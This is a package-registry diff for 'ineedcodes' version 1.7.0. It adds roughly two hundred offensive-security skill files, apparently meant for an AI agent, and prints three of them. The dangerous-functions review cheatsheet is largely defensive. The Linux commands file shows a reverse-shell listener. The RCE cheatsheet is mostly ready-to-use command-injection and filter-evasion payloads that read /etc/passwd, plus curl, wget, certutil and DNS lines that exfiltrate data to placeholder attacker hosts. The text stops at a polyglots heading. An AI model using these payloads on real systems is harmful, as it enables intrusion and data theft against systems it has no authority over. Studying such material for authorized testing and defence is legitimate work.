ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,200 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-cheatsheet-dangerous_functions
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: dangerous_functionsgated: true
|
|
5
|
+
---
|
|
6
|
+
# ☢️ Dangerous Functions & Source Code Review Cheatsheet
|
|
7
|
+
|
|
8
|
+
> **⚠️ Context Matters:** Presence of these functions isn't an instant vulnerability. You must verify if **user-controlled input** reaches these sinks without sanitization.
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## 🦕 1. C / C++ (Memory Corruption & Command Injection)
|
|
13
|
+
|
|
14
|
+
*The classic targets for buffer overflows and binary exploitation.*
|
|
15
|
+
|
|
16
|
+
### Buffer Overflow Sinks (Stack/Heap)
|
|
17
|
+
|
|
18
|
+
*These functions do not check the length of the source buffer.*
|
|
19
|
+
|
|
20
|
+
| Function | Danger | Safer Alternative |
|
|
21
|
+
| --- | --- | --- |
|
|
22
|
+
| `gets()` | **CRITICAL.** Impossible to use safely. Reads until newline. | `fgets()` |
|
|
23
|
+
| `strcpy(dest, src)` | Copies until null byte. Overflows `dest` if `src` is larger. | `strncpy()` (be careful with null-termination) |
|
|
24
|
+
| `strcat(dest, src)` | Concatenates `src` to `dest`. | `strncat()` |
|
|
25
|
+
| `sprintf(dest, fmt)` | Prints to buffer without length check. | `snprintf()` |
|
|
26
|
+
| `vsprintf()` | Variadic version of `sprintf`. | `vsnprintf()` |
|
|
27
|
+
|
|
28
|
+
### Command Injection
|
|
29
|
+
|
|
30
|
+
*Look for user input being concatenated into these strings.*
|
|
31
|
+
|
|
32
|
+
```c
|
|
33
|
+
system("ls " + input); // VULNERABLE
|
|
34
|
+
popen("cat " + input, "r");
|
|
35
|
+
execlp(...);
|
|
36
|
+
execvp(...);
|
|
37
|
+
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Format String
|
|
41
|
+
|
|
42
|
+
*If the format string itself is user-controlled.*
|
|
43
|
+
|
|
44
|
+
```c
|
|
45
|
+
printf(user_input); // VULNERABLE: %x %n can read/write memory
|
|
46
|
+
syslog(priority, user_input);
|
|
47
|
+
fprintf(stderr, user_input);
|
|
48
|
+
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
### Race Conditions (TOCTOU)
|
|
52
|
+
|
|
53
|
+
*Time-of-Check to Time-of-Use.*
|
|
54
|
+
|
|
55
|
+
* **Pattern:** `access(file)` followed by `open(file)`.
|
|
56
|
+
* **Exploit:** Swap the file between the check and the open.
|
|
57
|
+
|
|
58
|
+
---
|
|
59
|
+
|
|
60
|
+
## 🐘 2. PHP (Web Vulnerabilities)
|
|
61
|
+
|
|
62
|
+
*Common in legacy web apps and CMS plugins.*
|
|
63
|
+
|
|
64
|
+
### Remote Code Execution (RCE)
|
|
65
|
+
|
|
66
|
+
```php
|
|
67
|
+
eval($input); // Executes string as PHP code
|
|
68
|
+
assert($input); // Identical to eval() in older PHP
|
|
69
|
+
system($cmd); // Executes shell command
|
|
70
|
+
shell_exec($cmd); // Same as backticks `cmd`
|
|
71
|
+
passthru($cmd);
|
|
72
|
+
exec($cmd);
|
|
73
|
+
proc_open($cmd);
|
|
74
|
+
popen($cmd);
|
|
75
|
+
pcntl_exec($path);
|
|
76
|
+
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
### File Inclusion (LFI / RFI)
|
|
80
|
+
|
|
81
|
+
*Allows reading local files or executing remote scripts.*
|
|
82
|
+
|
|
83
|
+
```php
|
|
84
|
+
include($page);
|
|
85
|
+
require($page);
|
|
86
|
+
include_once($page);
|
|
87
|
+
require_once($page);
|
|
88
|
+
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### Object Injection
|
|
92
|
+
|
|
93
|
+
*The PHP equivalent of deserialization attacks.*
|
|
94
|
+
|
|
95
|
+
```php
|
|
96
|
+
unserialize($data); // Triggers __wakeup() or __destruct() magic methods
|
|
97
|
+
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## 🐍 3. Python (Modern Automation & Web)
|
|
103
|
+
|
|
104
|
+
### OS Command Injection
|
|
105
|
+
|
|
106
|
+
```python
|
|
107
|
+
import os
|
|
108
|
+
os.system("cmd " + input)
|
|
109
|
+
os.popen("cmd " + input)
|
|
110
|
+
|
|
111
|
+
import subprocess
|
|
112
|
+
# Vulnerable if shell=True is used with string concatenation
|
|
113
|
+
subprocess.call("cmd " + input, shell=True)
|
|
114
|
+
subprocess.Popen("cmd " + input, shell=True)
|
|
115
|
+
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
### Deserialization (Pickle)
|
|
119
|
+
|
|
120
|
+
*Never unpickle untrusted data. It is essentially RCE.*
|
|
121
|
+
|
|
122
|
+
```python
|
|
123
|
+
import pickle
|
|
124
|
+
pickle.loads(user_input)
|
|
125
|
+
_pickle.loads(user_input)
|
|
126
|
+
yaml.load(input) # PyYAML (Old versions require Loader=SafeLoader)
|
|
127
|
+
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
### SQL Injection (ORM Bypasses)
|
|
131
|
+
|
|
132
|
+
*Watch for f-strings or format strings in queries.*
|
|
133
|
+
|
|
134
|
+
```python
|
|
135
|
+
# VULNERABLE
|
|
136
|
+
cursor.execute(f"SELECT * FROM users WHERE name = '{input}'")
|
|
137
|
+
cursor.execute("SELECT * FROM users WHERE name = '%s'" % input)
|
|
138
|
+
|
|
139
|
+
# SAFE (Parameterized)
|
|
140
|
+
cursor.execute("SELECT * FROM users WHERE name = %s", (input,))
|
|
141
|
+
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
---
|
|
145
|
+
|
|
146
|
+
## ☕ 4. Java (Enterprise Apps)
|
|
147
|
+
|
|
148
|
+
### Deserialization
|
|
149
|
+
|
|
150
|
+
*Look for classes implementing `Serializable` and inputs reading objects.*
|
|
151
|
+
|
|
152
|
+
```java
|
|
153
|
+
ObjectInputStream.readObject();
|
|
154
|
+
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
### XML External Entity (XXE)
|
|
158
|
+
|
|
159
|
+
*If XML parsers are not configured to disable DTDs.*
|
|
160
|
+
|
|
161
|
+
```java
|
|
162
|
+
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
|
163
|
+
// Vulnerable if setExpandEntityReferences(false) is NOT called
|
|
164
|
+
dbf.newDocumentBuilder().parse(input);
|
|
165
|
+
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
### Command Execution
|
|
169
|
+
|
|
170
|
+
```java
|
|
171
|
+
Runtime.getRuntime().exec(input); // Splitting args is tricky here
|
|
172
|
+
ProcessBuilder(input).start();
|
|
173
|
+
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## 🔍 5. Grep / Semgrep Patterns
|
|
179
|
+
|
|
180
|
+
*Copy-paste these into your terminal to hunt fast.*
|
|
181
|
+
|
|
182
|
+
**Quick "Grep" Hunt (Generic)**
|
|
183
|
+
|
|
184
|
+
```bash
|
|
185
|
+
grep -RnE "system\(|exec\(|popen\(|eval\(|strcpy\(|strcat\(|memcpy\(|unserialize\(|pickle\.loads" .
|
|
186
|
+
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
**Semgrep Rules (Better than Grep)**
|
|
190
|
+
*If you use Semgrep (recommended), use these rulesets:*
|
|
191
|
+
|
|
192
|
+
```bash
|
|
193
|
+
semgrep --config=p/c --config=p/security-audit .
|
|
194
|
+
semgrep --config=p/python --config=p/owasp-top-ten .
|
|
195
|
+
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-cheatsheet-linux_commands
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: linux_commandsgated: true
|
|
5
|
+
---
|
|
6
|
+
# Linux Commands Reference
|
|
7
|
+
|
|
8
|
+
## Catch Reverse Shell
|
|
9
|
+
`nc -lvnp 4444`
|
|
10
|
+
|
|
11
|
+
## Start Web Server
|
|
12
|
+
`sudo python3 -m http.server 8000`
|
|
13
|
+
|
|
14
|
+
## What shell am I using?
|
|
15
|
+
`echo $SHELL`
|
|
16
|
+
|
|
17
|
+
## Set Alias Permanently (Bash Shell)
|
|
18
|
+
```bash
|
|
19
|
+
echo "alias c='clear'" >> ~/.bash_aliases
|
|
20
|
+
echo "alias shut='sudo shutdown now'" >> ~/.bash_aliases
|
|
21
|
+
source ~/.bashrc
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
## Set Alias Permanently (Z Shell)
|
|
25
|
+
```bash
|
|
26
|
+
echo "alias c='clear'" >> ~/.zshrc
|
|
27
|
+
echo "alias shut='sudo shutdown now'" >> ~/.zshrc
|
|
28
|
+
source ~/.zshrc
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## Update OS
|
|
32
|
+
`sudo apt update && sudo apt upgrade -y`
|
|
33
|
+
|
|
34
|
+
## Test Port With Netcat
|
|
35
|
+
`nc -zv <IP_ADDR> 1516`
|
|
36
|
+
|
|
37
|
+
## Check Root File Space
|
|
38
|
+
`df -h /`
|
|
39
|
+
|
|
40
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|
|
@@ -0,0 +1,177 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-cheatsheet-rce
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: rcegated: true
|
|
5
|
+
---
|
|
6
|
+
# 💥 Command Injection & RCE Cheatsheet
|
|
7
|
+
|
|
8
|
+
> **⚠️ Scope:** This applies when user input is passed insecurely to system shells (e.g., `system()`, `exec()`, `subprocess.call(shell=True)`).
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## 🔧 1. The Separators (Injection Operators)
|
|
13
|
+
|
|
14
|
+
*How to chain your command after the legitimate one.*
|
|
15
|
+
|
|
16
|
+
| Operator | Linux (Bash/Sh) | Windows (CMD/PowerShell) | Behavior |
|
|
17
|
+
| --- | --- | --- | --- |
|
|
18
|
+
| **`;`** | ✅ | ❌ | Sequential execution. Run A, then run B. |
|
|
19
|
+
| **`&`** | ✅ | ✅ | Background execution. Run A (background), run B immediately. |
|
|
20
|
+
| **`&&`** | ✅ | ✅ | AND. Run B only if A succeeds. |
|
|
21
|
+
| **` | `** | ✅ | ✅ |
|
|
22
|
+
| **` | | `** | ✅ |
|
|
23
|
+
| **`\n`** | ✅ | ❌ | Newline (0x0a). Often works if others are filtered. |
|
|
24
|
+
| **```** | ✅ | ❌ | Backticks. Command substitution (executes content inside). |
|
|
25
|
+
| **`$()`** | ✅ | ✅ (PS) | Command substitution. |
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## 🚧 2. Filter Evasion (Linux)
|
|
30
|
+
|
|
31
|
+
*When the WAF blocks "spaces", "cat", or "flag".*
|
|
32
|
+
|
|
33
|
+
### A. Space Bypasses (No Spaces Allowed)
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
cat${IFS}/etc/passwd
|
|
37
|
+
cat<etc/passwd
|
|
38
|
+
{cat,/etc/passwd}
|
|
39
|
+
X=$'cat\x20/etc/passwd'&&$X
|
|
40
|
+
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### B. Keyword Bypassing (Blacklist Evasion)
|
|
44
|
+
|
|
45
|
+
*Bypassing filters looking for `cat`, `whoami`, `etc`.*
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
# Concatenation
|
|
49
|
+
c'a't /etc/passwd
|
|
50
|
+
"c"a"t" /etc/passwd
|
|
51
|
+
\c\a\t /etc/passwd
|
|
52
|
+
|
|
53
|
+
# Variable Expansion
|
|
54
|
+
a=c;b=at;$a$b /etc/passwd
|
|
55
|
+
|
|
56
|
+
# Wildcards (The "Tarzan" Method)
|
|
57
|
+
/bin/c?? /etc/pa??wd (Resolves to /bin/cat /etc/passwd)
|
|
58
|
+
/???/??t /???/p??s?? (Resolves to /bin/cat /etc/passwd)
|
|
59
|
+
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### C. Character Encoding
|
|
63
|
+
|
|
64
|
+
```bash
|
|
65
|
+
# Hex Encoding (Execute via standard input)
|
|
66
|
+
echo -e "\x2f\x62\x69\x6e\x2f\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | sh
|
|
67
|
+
|
|
68
|
+
# Base64
|
|
69
|
+
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
|
|
70
|
+
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## 🪟 3. Filter Evasion (Windows)
|
|
76
|
+
|
|
77
|
+
*Windows CMD/PowerShell tricks.*
|
|
78
|
+
|
|
79
|
+
### A. Character Obfuscation
|
|
80
|
+
|
|
81
|
+
```cmd
|
|
82
|
+
# Caret (^) Escape (CMD ignores them)
|
|
83
|
+
c^a^t f^l^a^g
|
|
84
|
+
who^ami
|
|
85
|
+
|
|
86
|
+
# String Concatenation (PowerShell)
|
|
87
|
+
"who"+"ami" | iex
|
|
88
|
+
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### B. Environment Variables
|
|
92
|
+
|
|
93
|
+
```cmd
|
|
94
|
+
# %COMSPEC% points to cmd.exe
|
|
95
|
+
%COMSPEC% /c dir
|
|
96
|
+
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
---
|
|
100
|
+
|
|
101
|
+
## ⏳ 4. Blind RCE
|
|
102
|
+
|
|
103
|
+
*When you don't see the output (no stdout).*
|
|
104
|
+
|
|
105
|
+
### Time-Based (Delays)
|
|
106
|
+
|
|
107
|
+
```bash
|
|
108
|
+
# Linux
|
|
109
|
+
ping -c 10 127.0.0.1
|
|
110
|
+
sleep 5
|
|
111
|
+
|
|
112
|
+
# Windows
|
|
113
|
+
ping -n 10 127.0.0.1
|
|
114
|
+
timeout /t 5
|
|
115
|
+
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
### Output Redirection (Web Root)
|
|
119
|
+
|
|
120
|
+
*Write the output to a file you can access via the browser.*
|
|
121
|
+
|
|
122
|
+
```bash
|
|
123
|
+
whoami > /var/www/html/output.txt
|
|
124
|
+
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## 📡 5. Out-of-Band (OOB) Exfiltration
|
|
130
|
+
|
|
131
|
+
*Using DNS or HTTP to steal data when TCP is blocked or output is blind.*
|
|
132
|
+
|
|
133
|
+
### DNS Exfiltration (The "Canary")
|
|
134
|
+
|
|
135
|
+
*Send the output as a subdomain.*
|
|
136
|
+
|
|
137
|
+
```bash
|
|
138
|
+
# Linux
|
|
139
|
+
ping -c 1 $(whoami).your-collaborator.com
|
|
140
|
+
dig $(whoami).your-collaborator.com
|
|
141
|
+
|
|
142
|
+
# Windows
|
|
143
|
+
nslookup %USERNAME%.your-collaborator.com
|
|
144
|
+
ping %USERNAME%.your-collaborator.com
|
|
145
|
+
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
### HTTP Exfiltration
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
# Linux (Curl/Wget)
|
|
152
|
+
curl http://your-server.com/$(whoami)
|
|
153
|
+
wget http://your-server.com/$(whoami)
|
|
154
|
+
|
|
155
|
+
# Windows (Certutil / PowerShell)
|
|
156
|
+
certutil -urlcache -split -f http://your-server.com/%USERNAME%
|
|
157
|
+
powershell -c "Invoke-WebRequest -Uri http://your-server.com/$env:USERNAME"
|
|
158
|
+
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
---
|
|
162
|
+
|
|
163
|
+
## 🧪 6. Polyglots
|
|
164
|
+
|
|
165
|
+
*Try these to test multiple separators at once.*
|
|
166
